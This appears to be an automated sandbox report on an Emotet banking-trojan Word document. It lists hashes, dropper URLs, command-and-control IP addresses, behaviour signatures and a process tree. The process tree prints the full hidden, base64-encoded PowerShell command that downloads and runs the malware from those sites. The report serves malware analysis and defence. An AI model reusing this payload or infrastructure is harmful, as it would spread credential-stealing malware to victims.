emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
132s
max time network
164s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-01-17_113950.doc
Size

252KB
MD5

ad5c8b9e71f5581a670badee923b838c
SHA1

4aae7cdc5e39e3707f88327f5733727cf757154e
SHA256

6e742167a24cbd14ac238dd5878040418004886ddc9a453abba27e426fc417dd
SHA512

358c049b7410a43e37be7bdb742723046d218ff7377d113b31908550d293965839056bef5c9182f6dd5fc4948ecc816ddd5be1b00dd5bd997889675cfb7a8b8f

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://oniongames.jp/contact/iY/

exe.dropper

http://pmthome.com/posta/dr3zxa/

exe.dropper

http://urgeventa.es/img/k35d9q/

exe.dropper

https://solmec.com.ar/sitio/nTXZomKCx/

exe.dropper

https://tiagocambara.com/cgi-bin/s96/

Extracted

Family

emotet

100.6.23.40:80

200.71.200.4:443

190.114.244.182:443

91.250.96.22:8080

37.187.72.193:8080

104.131.44.150:8080

167.71.10.37:8080

110.36.217.66:8080

206.81.10.215:8080

93.147.141.5:443

60.250.78.22:443

92.222.216.44:8080

95.213.236.64:8080

27.109.153.201:8090

66.7.242.50:8080

5.196.74.210:8080

181.143.126.170:80

209.97.168.52:8080

206.189.112.148:8080

64.53.242.181:8080

rsa_pubkey.plain

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3060	2868	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 3060 Powershell.exe
Suspicious behavior: EmotetMutantsSpam 1 IoCs

Processes:

593.exe

pid process

2620 593.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

description	pid	process
Token: SeDebugPrivilege	3060	Powershell.exe

pid	process
2620	593.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

WINWORD.EXE593.exe593.exe

pid	process
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
2156	593.exe
2620	593.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3592 WINWORD.EXE
3592 WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

Powershell.exe593.exe

description	pid	process	target process
PID 3060 wrote to memory of 2156	3060	Powershell.exe	593.exe
PID 3060 wrote to memory of 2156	3060	Powershell.exe	593.exe
PID 3060 wrote to memory of 2156	3060	Powershell.exe	593.exe
PID 2156 wrote to memory of 2620	2156	593.exe	593.exe
PID 2156 wrote to memory of 2620	2156	593.exe	593.exe
PID 2156 wrote to memory of 2620	2156	593.exe	593.exe

Executes dropped EXE 2 IoCs

Processes:

593.exe593.exe

pid process

2156 593.exe
2620 593.exe
Drops file in System32 directory 1 IoCs

Processes:

593.exe

description ioc process

File renamed C:\Users\Admin\593.exe => C:\Windows\SysWOW64\chunkermailbox.exe 593.exe

pid	process
2156	593.exe
2620	593.exe

description	ioc	process
File renamed	C:\Users\Admin\593.exe => C:\Windows\SysWOW64\chunkermailbox.exe	593.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Powershell.exe

pid process

3060 Powershell.exe
3060 Powershell.exe
3060 Powershell.exe
3060 Powershell.exe
Blacklisted process makes network request 2 IoCs

Processes:

Powershell.exe

flow pid process

24 3060 Powershell.exe
26 3060 Powershell.exe

pid	process
3060	Powershell.exe
3060	Powershell.exe
3060	Powershell.exe
3060	Powershell.exe

flow	pid	process
24	3060	Powershell.exe
26	3060	Powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-17_113950.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:3592

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABLAHEAbABkAGYAbQBiAHYAcgA9ACcAWABpAGQAdgBvAHIAYgBrAGsAYwBnAHQAYQAnADsAJABGAHkAbQBiAGgAeQBlAHgAbQBoACAAPQAgACcANQA5ADMAJwA7ACQATgBuAHIAZwBxAGkAawBrAGYAcQB5AD0AJwBCAGoAcwBwAGMAcABzAGUAYwBxAGYAJwA7ACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAeQBtAGIAaAB5AGUAeABtAGgAKwAnAC4AZQB4AGUAJwA7ACQAUQBlAGUAdwBsAG8AaAB2AG4AaAB6AGoAZwA9ACcAVABxAHkAdABqAHgAaQB0AG8AZAB4AHoAZgAnADsAJABQAHYAcQBrAHIAbgBvAGEAbwA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwASQBFAG4AdAA7ACQARgBrAG0AbgBnAGkAdABnAGEAPQAnAGgAdAB0AHAAOgAvAC8AbwBuAGkAbwBuAGcAYQBtAGUAcwAuAGoAcAAvAGMAbwBuAHQAYQBjAHQALwBpAFkALwAqAGgAdAB0AHAAOgAvAC8AcABtAHQAaABvAG0AZQAuAGMAbwBtAC8AcABvAHMAdABhAC8AZAByADMAegB4AGEALwAqAGgAdAB0AHAAOgAvAC8AdQByAGcAZQB2AGUAbgB0AGEALgBlAHMALwBpAG0AZwAvAGsAMwA1AGQAOQBxAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBvAGwAbQBlAGMALgBjAG8AbQAuAGEAcgAvAHMAaQB0AGkAbwAvAG4AVABYAFoAbwBtAEsAQwB4AC8AKgBoAHQAdABwAHMAOgAvAC8AdABpAGEAZwBvAGMAYQBtAGIAYQByAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBzADkANgAvACcALgAiAFMAcABMAGAASQBUACIAKAAnACoAJwApADsAJABYAG0AdgB0AHMAZgBmAGoAZgBqAD0AJwBOAGIAcwBmAHYAYQB2AGsAbQBzAGwAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUQB0AHkAawBtAGcAcAB5AHkAYwB6AHkAIABpAG4AIAAkAEYAawBtAG4AZwBpAHQAZwBhACkAewB0AHIAeQB7ACQAUAB2AHEAawByAG4AbwBhAG8ALgAiAGQAYABPAFcAbgBsAG8AYQBgAEQAZgBJAGwARQAiACgAJABRAHQAeQBrAG0AZwBwAHkAeQBjAHoAeQAsACAAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABMAHEAcwBuAG8AYwBpAGMAawA9ACcATQB3AHIAbgBoAHMAawB6AGUAdQBzACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAKQAuACIAbABgAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMANgA5ADUAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAdAAiACgAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABaAGoAYwB5AGUAYgB0AHUAPQAnAFAAcQByAHYAaABrAGwAcQBlAHIAaQBlACcAOwBiAHIAZQBhAGsAOwAkAEYAegBiAGIAdQBuAHQAdQB1AGwAcABzAGcAPQAnAE0AdQBzAG0AeAB4AHEAYgBvACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAYgByAGgAdAB2AGcAZgB0AGYAegBzAD0AJwBCAHYAdgBnAGcAcABkAGkAawBzAHcAcQByACcA
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3060

C:\Users\Admin\593.exe
"C:\Users\Admin\593.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:2156

C:\Users\Admin\593.exe
--da91804d
3⤵
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
PID:2620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\593.exe

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C:\Users\Admin\593.exe

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C:\Users\Admin\593.exe

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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-638615289-2068236702-2426684043-1000\0f5007522459c86e95ffcc62f32308f1_443e833c-4f92-4bad-9e5e-eec62c6f043e

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memory/2156-7-0x00000000005D0000-0x00000000005E7000-memory.dmp

Filesize
92KB

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memory/2620-10-0x0000000002110000-0x0000000002127000-memory.dmp

Filesize
92KB

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memory/2620-11-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

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memory/3592-2-0x0000029D21741000-0x0000029D2174A000-memory.dmp

Filesize
36KB

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